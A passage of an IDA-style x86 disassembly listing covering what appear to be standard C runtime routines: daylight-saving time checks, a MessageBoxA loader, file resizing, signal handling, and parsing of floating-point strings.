movzx ecx, word_631714 push ecx movzx ecx, word_631712 push ecx movzx ecx, word_631710 push ecx jnz short loc_42D3A4 movzx ecx, word_63170C push edi push ecx movzx ecx, word_63170E push ecx movzx ecx, word_63170A push ecx push eax push ebx jmp short loc_42D3B8 ; --------------------------------------------------------------------------- loc_42D3A4: ; CODE XREF: sub_42D320+65j movzx ecx, word_63170E push ecx push edi movzx ecx, word_63170A push edi push ecx push eax push edi loc_42D3B8: ; CODE XREF: sub_42D320+82j push ebx call sub_42D4CC movzx eax, word_6316C2 add esp, 2Ch cmp word_6316B4, di push eax movzx eax, word_6316C0 push eax movzx eax, word_6316BE push eax movzx eax, word_6316BC push eax jnz short loc_42D412 movzx eax, word_6316B8 push edi push eax movzx eax, word_6316BA push eax movzx eax, word_6316B6 push eax push dword ptr [esi+14h] push ebx loc_42D407: ; CODE XREF: sub_42D320+108j push edi call sub_42D4CC add esp, 2Ch jmp short loc_42D454 ; --------------------------------------------------------------------------- loc_42D412: ; CODE XREF: sub_42D320+C8j movzx eax, word_6316BA push eax push edi movzx eax, word_6316B6 push edi push eax push dword ptr [esi+14h] push edi jmp short loc_42D407 ; --------------------------------------------------------------------------- loc_42D42A: ; CODE XREF: sub_42D320+38j push edi push edi push edi push 2 push edi push edi push ebx push 4 push eax push ebx push ebx call sub_42D4CC push edi push edi push edi push 2 push edi push edi push 5 push 0Ah push dword ptr [esi+14h] push ebx push edi call sub_42D4CC add esp, 58h loc_42D454: ; CODE XREF: sub_42D320+2Cj ; sub_42D320+F0j mov edx, dword_44C0AC mov eax, dword_44C0BC mov ecx, [esi+1Ch] cmp edx, eax jge short loc_42D484 cmp ecx, edx jl loc_42D32D cmp ecx, eax jg loc_42D32D cmp ecx, edx jle short loc_42D498 cmp ecx, eax jge short loc_42D498 loc_42D47E: ; CODE XREF: sub_42D320+166j ; sub_42D320+16Aj mov eax, ebx loc_42D480: ; CODE XREF: sub_42D320+Fj ; sub_42D320+19Dj pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_42D484: ; CODE XREF: sub_42D320+144j cmp ecx, eax jl short loc_42D47E cmp ecx, edx jg short loc_42D47E cmp ecx, eax jle short loc_42D498 cmp ecx, edx jl loc_42D32D loc_42D498: ; CODE XREF: sub_42D320+158j ; sub_42D320+15Cj ... mov eax, [esi+8] imul eax, 3Ch add eax, [esi+4] imul eax, 3Ch add eax, [esi] imul eax, 3E8h cmp ecx, edx jnz short loc_42D4BF xor ecx, ecx cmp eax, dword_44C0B0 setnl cl loc_42D4BB: ; CODE XREF: sub_42D320+1AAj mov eax, ecx jmp short loc_42D480 ; --------------------------------------------------------------------------- loc_42D4BF: ; CODE XREF: sub_42D320+18Ej xor ecx, ecx cmp eax, dword_44C0C0 setl cl jmp short loc_42D4BB sub_42D320 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42D4CC proc near ; CODE XREF: sub_42D320+99p ; sub_42D320+E8p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = dword ptr 30h push ebp mov ebp, esp cmp [ebp+arg_4], 1 push ebx mov ebx, [ebp+arg_8] push esi jnz loc_42D567 mov eax, [ebp+arg_C] mov [ebp+arg_8], ebx and [ebp+arg_8], 3 mov esi, eax jnz short loc_42D4F7 shl esi, 2 mov eax, dword_44C0C0[esi] jmp short loc_42D500 ; --------------------------------------------------------------------------- loc_42D4F7: ; CODE XREF: sub_42D4CC+1Ej shl esi, 2 mov eax, dword_44C0F4[esi] loc_42D500: ; CODE XREF: sub_42D4CC+29j mov edx, ebx lea ecx, [eax+1] imul edx, 16Dh lea eax, [ebx-1] push edi sar eax, 2 mov edi, ecx push 7 add edi, eax lea eax, [edx+edi-63DBh] pop edi cdq idiv edi mov eax, [ebp+arg_10] pop edi cmp edx, [ebp+arg_14] jg short loc_42D53A imul eax, 7 sub eax, edx add eax, [ebp+arg_14] lea ecx, [ecx+eax-7] jmp short loc_42D544 ; --------------------------------------------------------------------------- loc_42D53A: ; CODE XREF: sub_42D4CC+5Ej imul eax, 7 sub eax, edx add eax, [ebp+arg_14] add ecx, eax loc_42D544: ; CODE XREF: sub_42D4CC+6Cj cmp [ebp+arg_10], 5 jnz short loc_42D582 cmp [ebp+arg_8], 0 jnz short loc_42D558 mov esi, dword_44C0C4[esi] jmp short loc_42D55E ; --------------------------------------------------------------------------- loc_42D558: ; CODE XREF: sub_42D4CC+82j mov esi, dword_44C0F8[esi] loc_42D55E: ; CODE XREF: sub_42D4CC+8Aj cmp ecx, esi jle short loc_42D582 sub ecx, 7 jmp short loc_42D582 ; --------------------------------------------------------------------------- loc_42D567: ; CODE XREF: sub_42D4CC+Cj mov eax, [ebp+arg_C] test bl, 3 jnz short loc_42D578 mov ecx, dword_44C0C0[eax*4] jmp short loc_42D57F ; --------------------------------------------------------------------------- loc_42D578: ; CODE XREF: sub_42D4CC+A1j mov ecx, dword_44C0F4[eax*4] loc_42D57F: ; CODE XREF: sub_42D4CC+AAj add ecx, [ebp+arg_18] loc_42D582: ; CODE XREF: sub_42D4CC+7Cj ; sub_42D4CC+94j ... cmp [ebp+arg_0], 1 jnz short loc_42D5B3 mov eax, [ebp+arg_1C] mov dword_44C0AC, ecx imul eax, 3Ch add eax, [ebp+arg_20] mov dword_44C0A8, ebx imul eax, 3Ch add eax, [ebp+arg_24] imul eax, 3E8h add eax, [ebp+arg_28] mov dword_44C0B0, eax jmp short loc_42D608 ; --------------------------------------------------------------------------- loc_42D5B3: ; CODE XREF: sub_42D4CC+BAj mov eax, [ebp+arg_1C] mov dword_44C0BC, ecx imul eax, 3Ch add eax, [ebp+arg_20] imul eax, 3Ch add eax, dword_44C018 add eax, [ebp+arg_24] imul eax, 3E8h add eax, [ebp+arg_28] mov dword_44C0C0, eax jns short loc_42D5EB add eax, 5265C00h dec ecx mov dword_44C0C0, eax jmp short loc_42D5FC ; --------------------------------------------------------------------------- loc_42D5EB: ; CODE XREF: sub_42D4CC+110j mov edx, 5265C00h cmp eax, edx jl short loc_42D602 sub eax, edx inc ecx mov dword_44C0C0, eax loc_42D5FC: ; CODE XREF: sub_42D4CC+11Dj mov dword_44C0BC, ecx loc_42D602: ; CODE XREF: sub_42D4CC+126j mov dword_44C0B8, ebx loc_42D608: ; CODE XREF: sub_42D4CC+E5j pop esi pop ebx pop ebp retn sub_42D4CC endp ; =============== S U B R O U T I N E ======================================= sub_42D60C proc near ; CODE XREF: sub_42B1D5+2Bp arg_0 = dword ptr 4 push 4 push 0 push [esp+8+arg_0] call sub_42D61D add esp, 0Ch retn sub_42D60C endp ; =============== S U B R O U T I N E ======================================= sub_42D61D proc near ; CODE XREF: sub_42D60C+8p arg_0 = byte ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch movzx eax, [esp+arg_0] mov cl, [esp+arg_8] test byte_631881[eax], cl jnz short loc_42D64A cmp [esp+arg_4], 0 jz short loc_42D643 movzx eax, word_449842[eax*2] and eax, [esp+arg_4] jmp short loc_42D645 ; --------------------------------------------------------------------------- loc_42D643: ; CODE XREF: sub_42D61D+16j xor eax, eax loc_42D645: ; CODE XREF: sub_42D61D+24j test eax, eax jnz short loc_42D64A retn ; --------------------------------------------------------------------------- loc_42D64A: ; CODE XREF: sub_42D61D+Fj ; sub_42D61D+2Aj push 1 pop eax retn sub_42D61D endp ; =============== S U B R O U T I N E ======================================= sub_42D64E proc near ; CODE XREF: sub_42B69E+11Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx xor ebx, ebx cmp dword_631724, ebx push esi push edi jnz short loc_42D69D push offset aUser32_dll ; "user32.dll" call dword_42F138 ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_42D6D3 mov esi, dword_42F13C push offset aMessageboxa ; "MessageBoxA" push edi call esi ; dword_42F13C test eax, eax mov dword_631724, eax jz short loc_42D6D3 push offset aGetactivewindo ; "GetActiveWindow" push edi call esi ; dword_42F13C push offset aGetlastactivep ; "GetLastActivePopup" push edi mov dword_631728, eax call esi ; dword_42F13C mov dword_63172C, eax loc_42D69D: ; CODE XREF: sub_42D64E+Bj mov eax, dword_631728 test eax, eax jz short loc_42D6BC call eax ; dword_631728 mov ebx, eax test ebx, ebx jz short loc_42D6BC mov eax, dword_63172C test eax, eax jz short loc_42D6BC push ebx call eax ; dword_63172C mov ebx, eax loc_42D6BC: ; CODE XREF: sub_42D64E+56j ; sub_42D64E+5Ej ... push [esp+0Ch+arg_8] push [esp+10h+arg_4] push [esp+14h+arg_0] push ebx call dword_631724 ; MessageBoxA loc_42D6CF: ; CODE XREF: sub_42D64E+87j pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_42D6D3: ; CODE XREF: sub_42D64E+1Cj ; sub_42D64E+33j xor eax, eax jmp short loc_42D6CF sub_42D64E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42D6D7 proc near ; CODE XREF: sub_42BF9A+28Ap var_1004 = byte ptr -1004h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 1004h call sub_4220C0 push ebx push esi xor esi, esi push 1 push esi push [ebp+arg_0] call sub_426D61 or ebx, 0FFFFFFFFh add esp, 0Ch cmp eax, ebx mov [ebp+var_4], eax jz loc_42D7F6 push 2 push esi push [ebp+arg_0] call sub_426D61 add esp, 0Ch cmp eax, ebx jz loc_42D7F6 push edi mov edi, [ebp+arg_4] sub edi, eax test edi, edi jle short loc_42D799 mov ebx, 1000h lea eax, [ebp+var_1004] push ebx push esi push eax call sub_4221F0 push 8000h push [ebp+arg_0] call sub_42E8B1 add esp, 14h mov [ebp+arg_4], eax loc_42D74A: ; CODE XREF: sub_42D6D7+99j cmp edi, ebx mov eax, ebx jge short loc_42D752 mov eax, edi loc_42D752: ; CODE XREF: sub_42D6D7+77j push eax lea eax, [ebp+var_1004] push eax push [ebp+arg_0] call sub_42AED2 add esp, 0Ch cmp eax, 0FFFFFFFFh jz short loc_42D772 sub edi, eax test edi, edi jle short loc_42D78A jmp short loc_42D74A ; --------------------------------------------------------------------------- loc_42D772: ; CODE XREF: sub_42D6D7+91j call sub_426531 cmp dword ptr [eax], 5 jnz short loc_42D787 call sub_426528 mov dword ptr [eax], 0Dh loc_42D787: ; CODE XREF: sub_42D6D7+A3j or esi, 0FFFFFFFFh loc_42D78A: ; CODE XREF: sub_42D6D7+97j push [ebp+arg_4] push [ebp+arg_0] call sub_42E8B1 pop ecx pop ecx jmp short loc_42D7E1 ; --------------------------------------------------------------------------- loc_42D799: ; CODE XREF: sub_42D6D7+4Bj jge short loc_42D7E1 push 0 push [ebp+arg_4] push [ebp+arg_0] call sub_426D61 push [ebp+arg_0] call sub_42BE44 add esp, 10h push eax call dword_42F134 ; SetEndOfFile mov esi, eax neg esi sbb esi, esi neg esi dec esi cmp esi, ebx jnz short loc_42D7E1 call sub_426528 mov dword ptr [eax], 0Dh call dword_42F068 ; RtlGetLastWin32Error mov edi, eax call sub_426531 mov [eax], edi loc_42D7E1: ; CODE XREF: sub_42D6D7+C0j ; sub_42D6D7:loc_42D799j ... push 0 push [ebp+var_4] push [ebp+arg_0] call sub_426D61 add esp, 0Ch mov eax, esi pop edi jmp short loc_42D7F8 ; --------------------------------------------------------------------------- loc_42D7F6: ; CODE XREF: sub_42D6D7+27j ; sub_42D6D7+3Dj mov eax, ebx loc_42D7F8: ; CODE XREF: sub_42D6D7+11Dj pop esi pop ebx leave retn sub_42D6D7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42D7FC proc near ; CODE XREF: sub_429A8C+3533p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_0] and [ebp+var_4], 0 dec eax push ebx push esi dec eax push edi jz short loc_42D877 dec eax dec eax jz short loc_42D85A sub eax, 4 jz short loc_42D85A sub eax, 3 jz short loc_42D85A sub eax, 4 jz short loc_42D84D sub eax, 6 jz short loc_42D840 dec eax jz short loc_42D833 or eax, 0FFFFFFFFh jmp loc_42D979 ; --------------------------------------------------------------------------- loc_42D833: ; CODE XREF: sub_42D7FC+2Dj mov ebx, dword_63173C mov edi, offset dword_63173C jmp short loc_42D882 ; --------------------------------------------------------------------------- loc_42D840: ; CODE XREF: sub_42D7FC+2Aj mov ebx, dword_631738 mov edi, offset dword_631738 jmp short loc_42D882 ; --------------------------------------------------------------------------- loc_42D84D: ; CODE XREF: sub_42D7FC+25j mov ebx, dword_631740 mov edi, offset dword_631740 jmp short loc_42D882 ; --------------------------------------------------------------------------- loc_42D85A: ; CODE XREF: sub_42D7FC+16j ; sub_42D7FC+1Bj ... call sub_42599D mov esi, eax push dword ptr [esi+50h] push [ebp+arg_0] call sub_42D97E mov edi, eax pop ecx add edi, 8 pop ecx mov ebx, [edi] jmp short loc_42D894 ; --------------------------------------------------------------------------- loc_42D877: ; CODE XREF: sub_42D7FC+12j mov ebx, dword_631734 mov edi, offset dword_631734 loc_42D882: ; CODE XREF: sub_42D7FC+42j ; sub_42D7FC+4Fj ... push 1 mov [ebp+var_4], 1 call sub_428436 mov esi, [ebp+arg_0] pop ecx loc_42D894: ; CODE XREF: sub_42D7FC+79j cmp ebx, 1 jnz short loc_42D8AF cmp [ebp+var_4], 0 jz loc_42D977 push ebx call sub_428497 pop ecx jmp loc_42D977 ; --------------------------------------------------------------------------- loc_42D8AF: ; CODE XREF: sub_42D7FC+9Bj xor ecx, ecx cmp ebx, ecx jnz short loc_42D8C9 cmp [ebp+var_4], ecx jz short loc_42D8C2 push 1 call sub_428497 pop ecx loc_42D8C2: ; CODE XREF: sub_42D7FC+BCj push 3 call sub_4284EA loc_42D8C9: ; CODE XREF: sub_42D7FC+B7j mov eax, [ebp+arg_0] cmp eax, 8 jz short loc_42D8DB cmp eax, 0Bh jz short loc_42D8DB cmp eax, 4 jnz short loc_42D8F6 loc_42D8DB: ; CODE XREF: sub_42D7FC+D3j ; sub_42D7FC+D8j mov edx, [esi+54h] cmp eax, 8 mov [ebp+var_8], edx mov [esi+54h], ecx jnz short loc_42D932 mov edx, [esi+58h] mov dword ptr [esi+58h], 8Ch mov [ebp+var_C], edx loc_42D8F6: ; CODE XREF: sub_42D7FC+DDj cmp eax, 8 jnz short loc_42D932 mov ecx, dword_44BF28 mov eax, dword_44BF2C add eax, ecx cmp ecx, eax jge short loc_42D934 lea eax, [ecx+ecx*2] shl eax, 2 loc_42D912: ; CODE XREF: sub_42D7FC+132j mov edx, [esi+50h] add eax, 0Ch and dword ptr [edx+eax-4], 0 mov edx, dword_44BF28 mov edi, dword_44BF2C inc ecx add edi, edx cmp ecx, edi jl short loc_42D912 jmp short loc_42D934 ; --------------------------------------------------------------------------- loc_42D932: ; CODE XREF: sub_42D7FC+EBj ; sub_42D7FC+FDj mov [edi], ecx loc_42D934: ; CODE XREF: sub_42D7FC+10Ej ; sub_42D7FC+134j cmp [ebp+var_4], 0 jz short loc_42D942 push 1 call sub_428497 pop ecx loc_42D942: ; CODE XREF: sub_42D7FC+13Cj cmp [ebp+arg_0], 8 jnz short loc_42D953 push dword ptr [esi+58h] push 8 call ebx pop ecx pop ecx jmp short loc_42D965 ; --------------------------------------------------------------------------- loc_42D953: ; CODE XREF: sub_42D7FC+14Aj push [ebp+arg_0] call ebx cmp [ebp+arg_0], 0Bh pop ecx jz short loc_42D965 cmp [ebp+arg_0], 4 jnz short loc_42D977 loc_42D965: ; CODE XREF: sub_42D7FC+155j ; sub_42D7FC+161j mov eax, [ebp+var_8] cmp [ebp+arg_0], 8 mov [esi+54h], eax jnz short loc_42D977 mov eax, [ebp+var_C] mov [esi+58h], eax loc_42D977: ; CODE XREF: sub_42D7FC+A1j ; sub_42D7FC+AEj ... xor eax, eax loc_42D979: ; CODE XREF: sub_42D7FC+32j pop edi pop esi pop ebx leave retn sub_42D7FC endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_42D97E proc near ; CODE XREF: sub_42D7FC+6Bp arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_4] mov ecx, dword_44BF34 push esi mov esi, [esp+4+arg_0] cmp [edx+4], esi push edi mov eax, edx jz short loc_42D9A7 lea edi, [ecx+ecx*2] lea edi, [edx+edi*4] loc_42D99B: ; CODE XREF: sub_42D97E+27j add eax, 0Ch cmp eax, edi jnb short loc_42D9A7 cmp [eax+4], esi jnz short loc_42D99B loc_42D9A7: ; CODE XREF: sub_42D97E+15j ; sub_42D97E+22j lea ecx, [ecx+ecx*2] lea ecx, [edx+ecx*4] cmp eax, ecx jnb short loc_42D9B6 cmp [eax+4], esi jz short loc_42D9B8 loc_42D9B6: ; CODE XREF: sub_42D97E+31j xor eax, eax loc_42D9B8: ; CODE XREF: sub_42D97E+36j pop edi pop esi retn sub_42D97E endp ; =============== S U B R O U T I N E ======================================= sub_42D9BB proc near ; CODE XREF: sub_42C418+2Bp ; sub_42C418+42p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_0] push esi mov esi, [esp+4+arg_4] xor eax, eax lea ecx, [edx+esi] cmp ecx, edx jb short loc_42D9D1 cmp ecx, esi jnb short loc_42D9D4 loc_42D9D1: ; CODE XREF: sub_42D9BB+10j push 1 pop eax loc_42D9D4: ; CODE XREF: sub_42D9BB+14j mov edx, [esp+4+arg_8] pop esi mov [edx], ecx retn sub_42D9BB endp ; =============== S U B R O U T I N E ======================================= sub_42D9DC proc near ; CODE XREF: sub_42DA95+40p ; sub_42DA95+61p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] push edi mov edi, [esp+8+arg_4] push esi push dword ptr [edi] push dword ptr [esi] call sub_42D9BB add esp, 0Ch test eax, eax jz short loc_42DA0E lea eax, [esi+4] push eax push 1 push dword ptr [eax] call sub_42D9BB add esp, 0Ch test eax, eax jz short loc_42DA0E inc dword ptr [esi+8] loc_42DA0E: ; CODE XREF: sub_42D9DC+19j ; sub_42D9DC+2Dj lea eax, [esi+4] push eax push dword ptr [edi+4] push dword ptr [eax] call sub_42D9BB add esp, 0Ch test eax, eax jz short loc_42DA26 inc dword ptr [esi+8] loc_42DA26: ; CODE XREF: sub_42D9DC+45j lea eax, [esi+8] push eax push dword ptr [edi+8] push dword ptr [eax] call sub_42D9BB add esp, 0Ch pop edi pop esi retn sub_42D9DC endp ; =============== S U B R O U T I N E ======================================= sub_42DA3A proc near ; CODE XREF: sub_42DA95+30p ; sub_42DA95+36p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi push edi mov esi, [eax] mov edi, [eax+4] mov ecx, esi add esi, esi mov [eax], esi lea esi, [edi+edi] shr ecx, 1Fh or esi, ecx mov ecx, [eax+8] mov edx, edi mov [eax+4], esi shr edx, 1Fh shl ecx, 1 or ecx, edx pop edi mov [eax+8], ecx pop esi retn sub_42DA3A endp ; =============== S U B R O U T I N E ======================================= sub_42DA68 proc near ; CODE XREF: sub_42E02D+1C8p ; sub_42E912+17Dp arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi push edi mov edx, [eax+8] mov ecx, [eax+4] mov esi, edx mov edi, ecx shl esi, 1Fh shr ecx, 1 or ecx, esi mov [eax+4], ecx mov ecx, [eax] shl edi, 1Fh shr ecx, 1 shr edx, 1 or ecx, edi pop edi mov [eax+8], edx mov [eax], ecx pop esi retn sub_42DA68 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42DA95 proc near ; CODE XREF: sub_42DB5C+3CAp var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h mov eax, [ebp+arg_4] push ebx mov ebx, [ebp+arg_8] xor edx, edx cmp eax, edx push esi mov [ebp+var_4], 404Eh mov [ebx], edx mov [ebx+4], edx mov [ebx+8], edx jbe short loc_42DB09 push edi mov [ebp+arg_8], eax loc_42DABC: ; CODE XREF: sub_42DA95+6Fj mov esi, ebx lea edi, [ebp+var_10] movsd movsd push ebx movsd call sub_42DA3A push ebx call sub_42DA3A lea eax, [ebp+var_10] push eax push ebx call sub_42D9DC push ebx call sub_42DA3A mov eax, [ebp+arg_0] and [ebp+var_C], 0 and [ebp+var_8], 0 movsx eax, byte ptr [eax] mov [ebp+var_10], eax lea eax, [ebp+var_10] push eax push ebx call sub_42D9DC add esp, 1Ch inc [ebp+arg_0] dec [ebp+arg_8] jnz short loc_42DABC xor edx, edx pop edi loc_42DB09: ; CODE XREF: sub_42DA95+21j ; sub_42DA95+9Fj cmp [ebx+8], edx jnz short loc_42DB36 mov ecx, [ebx+4] mov eax, ecx shr eax, 10h mov [ebx+8], eax mov eax, [ebx] mov esi, eax shr esi, 10h shl ecx, 10h or esi, ecx shl eax, 10h add [ebp+var_4], 0FFF0h mov [ebx+4], esi mov [ebx], eax jmp short loc_42DB09 ; --------------------------------------------------------------------------- loc_42DB36: ; CODE XREF: sub_42DA95+77j mov esi, 8000h loc_42DB3B: ; CODE XREF: sub_42DA95+B9j test [ebx+8], esi jnz short loc_42DB50 push ebx call sub_42DA3A add [ebp+var_4], 0FFFFh pop ecx jmp short loc_42DB3B ; --------------------------------------------------------------------------- loc_42DB50: ; CODE XREF: sub_42DA95+A9j mov ax, word ptr [ebp+var_4] pop esi mov [ebx+0Ah], ax pop ebx leave retn sub_42DA95 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42DB5C proc near ; CODE XREF: sub_42C761+17p ; sub_42C78E+17p var_5C = byte ptr -5Ch var_45 = byte ptr -45h var_40 = dword ptr -40h var_3A = dword ptr -3Ah var_36 = dword ptr -36h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 5Ch push ebx push esi push edi mov edi, [ebp+arg_8] lea eax, [ebp+var_5C] push 1 mov [ebp+var_C], eax xor eax, eax pop edx mov [ebp+var_28], eax mov [ebp+var_18], edx mov [ebp+var_4], eax mov [ebp+var_10], eax mov [ebp+var_24], eax mov [ebp+var_20], eax mov [ebp+var_2C], eax mov [ebp+var_30], eax mov [ebp+var_1C], eax mov [ebp+var_8], eax mov [ebp+var_14], eax mov [ebp+arg_8], edi loc_42DB97: ; CODE XREF: sub_42DB5C+52j mov cl, [edi] cmp cl, 20h jz short loc_42DBAD cmp cl, 9 jz short loc_42DBAD cmp cl, 0Ah jz short loc_42DBAD cmp cl, 0Dh jnz short loc_42DBB0 loc_42DBAD: ; CODE XREF: sub_42DB5C+40j ; sub_42DB5C+45j ... inc edi jmp short loc_42DB97 ; --------------------------------------------------------------------------- loc_42DBB0: ; CODE XREF: sub_42DB5C+4Fj push 4 pop esi loc_42DBB3: ; CODE XREF: sub_42DB5C+AEj ; sub_42DB5C+B7j ... mov bl, [edi] inc edi cmp eax, 0Bh ; switch 12 cases ja loc_42DE36 ; default ; jumptable 0042DBBF case 10 jmp off_42DFFD[eax*4] ; switch jump loc_42DBC6: ; DATA XREF: .text:off_42DFFDo cmp bl, 31h ; jumptable 0042DBBF case 0 jl short loc_42DBD7 cmp bl, 39h jg short loc_42DBD7 loc_42DBD0: ; CODE XREF: sub_42DB5C+C4j ; sub_42DB5C+118j push 3 jmp loc_42DDF4 ; --------------------------------------------------------------------------- loc_42DBD7: ; CODE XREF: sub_42DB5C+6Dj ; sub_42DB5C+72j cmp bl, byte_449A48 jnz short loc_42DBE6 loc_42DBDF: ; CODE XREF: sub_42DB5C+124j push 5 jmp loc_42DE2C ; --------------------------------------------------------------------------- loc_42DBE6: ; CODE XREF: sub_42DB5C+81j movsx eax, bl sub eax, 2Bh jz short loc_42DC0C dec eax dec eax jz short loc_42DC00 sub eax, 3 jnz loc_42DECF jmp loc_42DC8F ; --------------------------------------------------------------------------- loc_42DC00: ; CODE XREF: sub_42DB5C+94j push 2 mov [ebp+var_28], 8000h pop eax jmp short loc_42DBB3 ; --------------------------------------------------------------------------- loc_42DC0C: ; CODE XREF: sub_42DB5C+90j and [ebp+var_28], 0 push 2 pop eax jmp short loc_42DBB3 ; --------------------------------------------------------------------------- loc_42DC15: ; CODE XREF: sub_42DB5C+63j ; DATA XREF: .text:off_42DFFDo cmp bl, 31h ; jumptable 0042DBBF case 1 mov [ebp+var_10], edx jl short loc_42DC22 cmp bl, 39h jle short loc_42DBD0 loc_42DC22: ; CODE XREF: sub_42DB5C+BFj cmp bl, byte_449A48 jz loc_42DCEA cmp bl, 2Bh jz short loc_42DC64 cmp bl, 2Dh jz short loc_42DC64 cmp bl, 30h jz short loc_42DC8F loc_42DC3D: ; CODE XREF: sub_42DB5C+207j cmp bl, 43h jle loc_42DECF cmp bl, 45h jle short loc_42DC5D cmp bl, 63h jle loc_42DECF cmp bl, 65h jg loc_42DECF loc_42DC5D: ; CODE XREF: sub_42DB5C+EDj push 6 jmp loc_42DE2C ; --------------------------------------------------------------------------- loc_42DC64: ; CODE XREF: sub_42DB5C+D5j ; sub_42DB5C+DAj ... dec edi push 0Bh jmp loc_42DE2C ; --------------------------------------------------------------------------- loc_42DC6C: ; CODE XREF: sub_42DB5C+63j ; DATA XREF: .text:off_42DFFDo cmp bl, 31h ; jumptable 0042DBBF case 2 jl short loc_42DC7A cmp bl, 39h jle loc_42DBD0 loc_42DC7A: ; CODE XREF: sub_42DB5C+113j cmp bl, byte_449A48 jz loc_42DBDF cmp bl, 30h jnz loc_42DE44 loc_42DC8F: ; CODE XREF: sub_42DB5C+9Fj ; sub_42DB5C+DFj mov eax, edx jmp loc_42DBB3 ; --------------------------------------------------------------------------- loc_42DC96: ; CODE XREF: sub_42DB5C+63j ; DATA XREF: .text:off_42DFFDo mov [ebp+var_10], edx ; jumptable 0042DBBF case 3 loc_42DC99: ; CODE XREF: sub_42DB5C+184j cmp dword_449A44, edx jle short loc_42DCB2 movzx eax, bl push esi push eax call sub_42653A pop ecx pop ecx push 1 pop edx jmp short loc_42DCC0 ; --------------------------------------------------------------------------- loc_42DCB2: ; CODE XREF: sub_42DB5C+143j mov ecx, off_449838 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_42DCC0: ; CODE XREF: sub_42DB5C+154j test eax, eax jz short loc_42DCE2 cmp [ebp+var_4], 19h jnb short loc_42DCDA mov eax, [ebp+var_C] inc [ebp+var_4] sub bl, 30h inc [ebp+var_C] mov [eax], bl jmp short loc_42DCDD ; --------------------------------------------------------------------------- loc_42DCDA: ; CODE XREF: sub_42DB5C+16Cj inc [ebp+var_8] loc_42DCDD: ; CODE XREF: sub_42DB5C+17Cj mov bl, [edi] inc edi jmp short loc_42DC99 ; --------------------------------------------------------------------------- loc_42DCE2: ; CODE XREF: sub_42DB5C+166j cmp bl, byte_449A48 jnz short loc_42DD51 loc_42DCEA: ; CODE XREF: sub_42DB5C+CCj mov eax, esi jmp loc_42DBB3 ; --------------------------------------------------------------------------- loc_42DCF1: ; CODE XREF: sub_42DB5C+63j ; DATA XREF: .text:off_42DFFDo cmp [ebp+var_4], 0 ; jumptable 0042DBBF case 4 mov [ebp+var_10], edx mov [ebp+var_24], edx jnz short loc_42DD0A loc_42DCFD: ; CODE XREF: sub_42DB5C+1ACj cmp bl, 30h jnz short loc_42DD0A dec [ebp+var_8] mov bl, [edi] inc edi jmp short loc_42DCFD ; --------------------------------------------------------------------------- loc_42DD0A: ; CODE XREF: sub_42DB5C+19Fj ; sub_42DB5C+1A4j ... cmp dword_449A44, edx jle short loc_42DD23 movzx eax, bl push esi push eax call sub_42653A pop ecx pop ecx push 1 pop edx jmp short loc_42DD31 ; --------------------------------------------------------------------------- loc_42DD23: ; CODE XREF: sub_42DB5C+1B4j mov ecx, off_449838 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_42DD31: ; CODE XREF: sub_42DB5C+1C5j test eax, eax jz short loc_42DD51 cmp [ebp+var_4], 19h jnb short loc_42DD4C mov eax, [ebp+var_C] inc [ebp+var_4] sub bl, 30h inc [ebp+var_C] dec [ebp+var_8] mov [eax], bl loc_42DD4C: ; CODE XREF: sub_42DB5C+1DDj mov bl, [edi] inc edi jmp short loc_42DD0A ; --------------------------------------------------------------------------- loc_42DD51: ; CODE XREF: sub_42DB5C+18Cj ; sub_42DB5C+1D7j cmp bl, 2Bh jz loc_42DC64 cmp bl, 2Dh jz loc_42DC64 jmp loc_42DC3D ; --------------------------------------------------------------------------- loc_42DD68: ; CODE XREF: sub_42DB5C+63j ; DATA XREF: .text:off_42DFFDo cmp dword_449A44, edx ; jumptable 0042DBBF case 5 mov [ebp+var_24], edx jle short loc_42DD84 movzx eax, bl push esi push eax call sub_42653A pop ecx pop ecx push 1 pop edx jmp short loc_42DD92 ; --------------------------------------------------------------------------- loc_42DD84: ; CODE XREF: sub_42DB5C+215j mov ecx, off_449838 movzx eax, bl mov al, [ecx+eax*2] and eax, esi 